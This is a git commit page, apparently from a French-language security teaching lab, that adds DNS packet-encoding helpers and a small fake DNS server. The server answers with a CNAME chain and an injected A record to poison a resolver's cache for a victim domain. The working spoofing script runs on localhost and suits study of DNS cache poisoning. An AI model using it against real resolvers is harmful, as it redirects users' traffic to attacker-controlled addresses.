Partie I
continuous-integration/drone/push Build is passing
Details
continuous-integration/drone/push Build is passing
Details
parent
1cd26cf6d5
commit
15810bbd44
@ -0,0 +1,85 @@
|
|||||||
|
TYPE_A = b"\x00\x01"
|
||||||
|
TYPE_NS = b"\x00\x02"
|
||||||
|
TYPE_CNAME = b"\x00\x05"
|
||||||
|
CLASS_IN = b"\x00\x01"
|
||||||
|
|
||||||
|
def encode_question_entry(encoded_name: bytes, type: bytes, clazz: bytes) -> bytes:
|
||||||
|
"""Encode entry question section"""
|
||||||
|
return encoded_name + type + clazz
|
||||||
|
|
||||||
|
def encode_response_entry(encoded_name: bytes, type: bytes, clazz: bytes, ttl: int, rdata: bytes):
|
||||||
|
"""Encode entry response section"""
|
||||||
|
return (encoded_name
|
||||||
|
+ type
|
||||||
|
+ clazz
|
||||||
|
+ ttl.to_bytes(length=4, byteorder="big")
|
||||||
|
+ len(rdata).to_bytes(length=2, byteorder="big")
|
||||||
|
+ rdata)
|
||||||
|
|
||||||
|
def encode_name_pointer(offset_since_start: int):
|
||||||
|
"""Encode name pointer"""
|
||||||
|
# Note: this wrongly assumes that offset <= 255
|
||||||
|
return bytes((0xC0, offset_since_start))
|
||||||
|
|
||||||
|
def encode_name(name: bytes) -> bytes:
|
||||||
|
"""a domain name represented as a sequence of labels, where
|
||||||
|
each label consists of a length octet followed by that
|
||||||
|
number of octets."""
|
||||||
|
# https://datatracker.ietf.org/doc/html/rfc1035#section-4.1.2
|
||||||
|
encoded = b""
|
||||||
|
|
||||||
|
for component in name.split(b'.'):
|
||||||
|
# Chaque composant est précédé par sa longueur en octet encodé sur 1 octet
|
||||||
|
encoded += len(component).to_bytes(length=1, signed=False)
|
||||||
|
# Contenu
|
||||||
|
encoded += component
|
||||||
|
|
||||||
|
# Fin du nom
|
||||||
|
encoded += b'\x00'
|
||||||
|
|
||||||
|
return encoded
|
||||||
|
|
||||||
|
def encode_header(response: bool, opcode: int, authoritative: bool, truncated: bool, rec_d: bool, rec_a: bool, rcode: int, questions: int, answers: int, authorities: int, additional: int):
|
||||||
|
flags = [0, 0]
|
||||||
|
if response:
|
||||||
|
flags[0] |= 0x80
|
||||||
|
flags[0] |= (opcode & 0x0F) << 3
|
||||||
|
if authoritative:
|
||||||
|
flags[0] |= 0x04
|
||||||
|
if truncated:
|
||||||
|
flags[0] |= 0x02
|
||||||
|
if rec_d:
|
||||||
|
flags[0] |= 0x01
|
||||||
|
|
||||||
|
if rec_a:
|
||||||
|
flags[1] |= 0x80
|
||||||
|
flags[1] |= rcode & 0x0F
|
||||||
|
|
||||||
|
# header = tid.to_bytes(length=2, byteorder="big")
|
||||||
|
header = bytes(flags)
|
||||||
|
header += questions.to_bytes(length=2, byteorder="big")
|
||||||
|
header += answers.to_bytes(length=2, byteorder="big")
|
||||||
|
header += authorities.to_bytes(length=2, byteorder="big")
|
||||||
|
header += additional.to_bytes(length=2, byteorder="big")
|
||||||
|
|
||||||
|
return header
|
||||||
|
|
||||||
|
class DNSServer:
|
||||||
|
"""Represent a DNS Server"""
|
||||||
|
|
||||||
|
def __init__(self, ip: str, port: int, query_port: int):
|
||||||
|
self._ip: str = ip
|
||||||
|
self._port: int = port
|
||||||
|
self._query_port: int = query_port
|
||||||
|
|
||||||
|
@property
|
||||||
|
def ip(self) -> str:
|
||||||
|
return self._ip
|
||||||
|
|
||||||
|
@property
|
||||||
|
def port(self) -> int:
|
||||||
|
return self._port
|
||||||
|
|
||||||
|
@property
|
||||||
|
def query_port(self) -> int:
|
||||||
|
return self._query_port
|
@ -0,0 +1,41 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import socket
|
||||||
|
|
||||||
|
# Des fonctions utilitaires pour encoder les paquets DNS.
|
||||||
|
# Vous pouvez y jetter un oeil si vous voulez mais ce n'est pas le plus important.
|
||||||
|
from dns_utils import *
|
||||||
|
|
||||||
|
# DNS utilise UDP en temps normal
|
||||||
|
sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
# Notre faux DNS est joignable localement sur le port 25566
|
||||||
|
sok.bind(("127.0.0.1", 25566))
|
||||||
|
|
||||||
|
# Attendre l'arrivée d'un paquet (requete) DNS
|
||||||
|
request, client = sok.recvfrom(512)
|
||||||
|
print("Traitement de la requete pour", client)
|
||||||
|
|
||||||
|
# Le nom de domaine utilisé comme alias pour s'affranchir des problèmes de cache
|
||||||
|
# TODO
|
||||||
|
alias_name = encode_name(b"existepas.nomde.domaine")
|
||||||
|
# Le véritable nom de domaine visé par l'attaque
|
||||||
|
spoofed_name = encode_name(b"nomde.domaine")
|
||||||
|
# L'adresse IP injectée dans le nom de domaine victime (spoofed_name)
|
||||||
|
injected_address = bytes((111, 111, 111, 111))
|
||||||
|
|
||||||
|
# Pour la simplicité, on ne tient compte que de l'identifiant de la requete qui est nécéssaire pour la réponse
|
||||||
|
identifier = request[:2]
|
||||||
|
|
||||||
|
# On fabrique la réponse en utilisant le même identifiant
|
||||||
|
response: bytes = identifier
|
||||||
|
# Puis on met les entêtes classiques
|
||||||
|
response += encode_header(response=True, opcode=0, authoritative=False, truncated=False, rec_d=True, rec_a=True, rcode=0, questions=1, answers=2, authorities=0, additional=0)
|
||||||
|
# On remet la question (ici elle est assumée être la même)
|
||||||
|
response += encode_question_entry(encoded_name=alias_name, type=TYPE_A, clazz=CLASS_IN)
|
||||||
|
# La réponse pour le nom de domaine demandé qui est un alias pour le nom victime
|
||||||
|
response += encode_response_entry(encoded_name=alias_name, type=TYPE_CNAME, clazz=CLASS_IN, ttl=3600, rdata=spoofed_name)
|
||||||
|
# La 2e réponse pour le nom de domaine victime, avec notre adresse IP injectée
|
||||||
|
response += encode_response_entry(encoded_name=spoofed_name, type=TYPE_A, clazz=CLASS_IN, ttl=3600, rdata=injected_address)
|
||||||
|
|
||||||
|
# Envoyer la réponse au client
|
||||||
|
sok.sendto(response, client)
|
Reference in new issue